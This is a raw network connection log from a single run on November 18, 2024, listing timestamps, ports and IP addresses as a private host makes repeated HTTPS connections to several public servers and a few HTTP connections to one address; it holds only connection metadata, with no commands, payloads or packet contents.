Nov 18, 2024 04:41:21.864396095 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.864401102 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.865896940 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.865912914 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.866313934 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.866317987 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.892168999 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:21.892189980 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.945327997 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:21.957705975 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.957756042 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.957813025 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:21.957828999 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.958158016 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.958204985 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:21.958213091 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.962021112 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.962078094 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:21.962086916 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.970674038 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.970738888 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:21.970748901 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.979377985 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.979433060 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:21.979444027 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.988034010 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.988097906 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:21.988110065 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.988126040 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.988174915 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.988297939 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.988353014 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.988622904 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.988670111 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.988800049 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.988800049 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.988833904 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.988862991 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.988871098 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.988871098 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.988903999 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.988930941 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.989342928 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.990196943 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.990283966 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.990905046 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.990905046 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.990911961 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.990921021 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.993026972 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.993087053 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.993175030 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.993226051 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.993362904 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.993457079 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.994344950 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.994370937 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.994432926 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.994869947 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.994893074 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.994956017 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.995237112 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.995260954 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.995331049 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.995352983 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.996453047 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.996608973 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.996632099 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.996689081 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:21.996696949 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.996716976 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.000492096 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.000513077 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.000534058 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.000540018 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.001857042 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.001857042 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.001863956 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.001873016 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.002509117 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.002532005 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.005647898 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.005693913 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.005702019 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.013597012 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.013709068 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.013720989 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.040492058 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.040524960 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.040628910 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.045967102 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.045989037 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.046050072 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.046158075 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.046178102 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.048654079 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.048666000 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.054701090 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.054722071 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.076981068 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.077044964 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.077090025 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.077207088 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.077299118 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.077307940 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.077728033 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.077758074 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.077783108 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.077802896 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.077814102 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.077824116 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.081271887 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.081304073 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.081316948 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.081326008 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.081613064 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.081620932 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.089925051 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.090003014 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.090003014 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.090014935 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.090056896 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.093702078 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.099277973 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.099306107 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.099359035 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.099370003 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.099750042 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.105487108 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.111299992 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.111413002 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.111462116 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.111473083 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.111607075 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.117469072 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.120434999 CET	49793	443	192.168.2.6	184.28.90.27
Nov 18, 2024 04:41:22.120448112 CET	443	49793	184.28.90.27	192.168.2.6
Nov 18, 2024 04:41:22.120534897 CET	49793	443	192.168.2.6	184.28.90.27
Nov 18, 2024 04:41:22.121655941 CET	49793	443	192.168.2.6	184.28.90.27
Nov 18, 2024 04:41:22.121670008 CET	443	49793	184.28.90.27	192.168.2.6
Nov 18, 2024 04:41:22.123485088 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.123531103 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.123539925 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.129416943 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.129493952 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.129504919 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.135459900 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.135493040 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.135512114 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.135521889 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.135560036 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.141463995 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.147491932 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.147521019 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.147574902 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.147588968 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.147628069 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.153439999 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.159468889 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.159523010 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.159535885 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.184132099 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.184382915 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.184393883 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.196453094 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.196491957 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.196523905 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.196551085 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.196554899 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.196567059 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.196594954 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.196611881 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.196840048 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.196945906 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.196980953 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.197000980 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.197010040 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.197103024 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.197781086 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.198971987 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.199034929 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.199038982 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.199048996 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.199089050 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.204267979 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.207602978 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.207632065 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.207753897 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.207778931 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.207824945 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.210843086 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.257848024 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.257862091 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.258337021 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.258429050 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:22.258490086 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:22.500900030 CET	80	49783	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:22.500976086 CET	49783	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:22.580713034 CET	49749	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:22.580758095 CET	49786	443	192.168.2.6	142.250.186.174
Nov 18, 2024 04:41:22.622230053 CET	49783	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:22.627304077 CET	80	49783	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:22.734882116 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.735398054 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.735419989 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.736169100 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.736176968 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.769771099 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.770303011 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.770323992 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.770956993 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.770962954 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.790549040 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.791064978 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.791086912 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.791666031 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.791671991 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.792670012 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.792984009 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.793003082 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.793596029 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.793601990 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.866311073 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.866530895 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.866595030 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.866647005 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.866664886 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.866677999 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.866684914 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.869824886 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.869870901 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.870105982 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.870306015 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.870322943 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.873364925 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.873749018 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.873765945 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.874326944 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.874331951 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.902237892 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.902472019 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.902565002 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.902592897 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.902611017 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.902623892 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.902631044 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.906079054 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.906100988 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.906169891 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.906336069 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.906348944 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.922399044 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.922513008 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.922519922 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.922566891 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.922585011 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.922610998 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.922736883 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.922745943 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.922768116 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.922772884 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.922863960 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.922874928 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.922887087 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.922892094 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.927719116 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.927733898 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.927757025 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.927778006 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.927791119 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.927822113 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.928015947 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.928029060 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.928128004 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:22.928143978 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:22.969842911 CET	443	49793	184.28.90.27	192.168.2.6
Nov 18, 2024 04:41:22.969913006 CET	49793	443	192.168.2.6	184.28.90.27
Nov 18, 2024 04:41:22.971976995 CET	49793	443	192.168.2.6	184.28.90.27
Nov 18, 2024 04:41:22.971990108 CET	443	49793	184.28.90.27	192.168.2.6
Nov 18, 2024 04:41:22.972338915 CET	443	49793	184.28.90.27	192.168.2.6
Nov 18, 2024 04:41:23.002674103 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.002851009 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.003127098 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.005696058 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.005708933 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.005723953 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.005729914 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.012403965 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.012427092 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.012491941 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.016719103 CET	49793	443	192.168.2.6	184.28.90.27
Nov 18, 2024 04:41:23.055778980 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.055799961 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.056818008 CET	49793	443	192.168.2.6	184.28.90.27
Nov 18, 2024 04:41:23.099349976 CET	443	49793	184.28.90.27	192.168.2.6
Nov 18, 2024 04:41:23.305196047 CET	443	49793	184.28.90.27	192.168.2.6
Nov 18, 2024 04:41:23.305264950 CET	443	49793	184.28.90.27	192.168.2.6
Nov 18, 2024 04:41:23.305319071 CET	49793	443	192.168.2.6	184.28.90.27
Nov 18, 2024 04:41:23.305618048 CET	49793	443	192.168.2.6	184.28.90.27
Nov 18, 2024 04:41:23.305636883 CET	443	49793	184.28.90.27	192.168.2.6
Nov 18, 2024 04:41:23.305650949 CET	49793	443	192.168.2.6	184.28.90.27
Nov 18, 2024 04:41:23.305659056 CET	443	49793	184.28.90.27	192.168.2.6
Nov 18, 2024 04:41:23.350603104 CET	49800	443	192.168.2.6	184.28.90.27
Nov 18, 2024 04:41:23.350644112 CET	443	49800	184.28.90.27	192.168.2.6
Nov 18, 2024 04:41:23.350790977 CET	49800	443	192.168.2.6	184.28.90.27
Nov 18, 2024 04:41:23.351113081 CET	49800	443	192.168.2.6	184.28.90.27
Nov 18, 2024 04:41:23.351130962 CET	443	49800	184.28.90.27	192.168.2.6
Nov 18, 2024 04:41:23.394737005 CET	80	49783	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:23.394838095 CET	49783	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:23.612746000 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.613275051 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.613285065 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.615463018 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.615468025 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.642982960 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.643767118 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.643800020 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.644202948 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.644211054 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.653213978 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.653798103 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.653809071 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.654341936 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.654349089 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.680035114 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.680373907 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.680397034 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.680917978 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.680926085 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.743908882 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.743982077 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.744085073 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.752074957 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.752074957 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.752089977 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.752098083 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.760040045 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.760092974 CET	443	49801	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:23.760368109 CET	49801	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:23.760457993 CET	49801	443	192.168.2.6	13.107.246.45
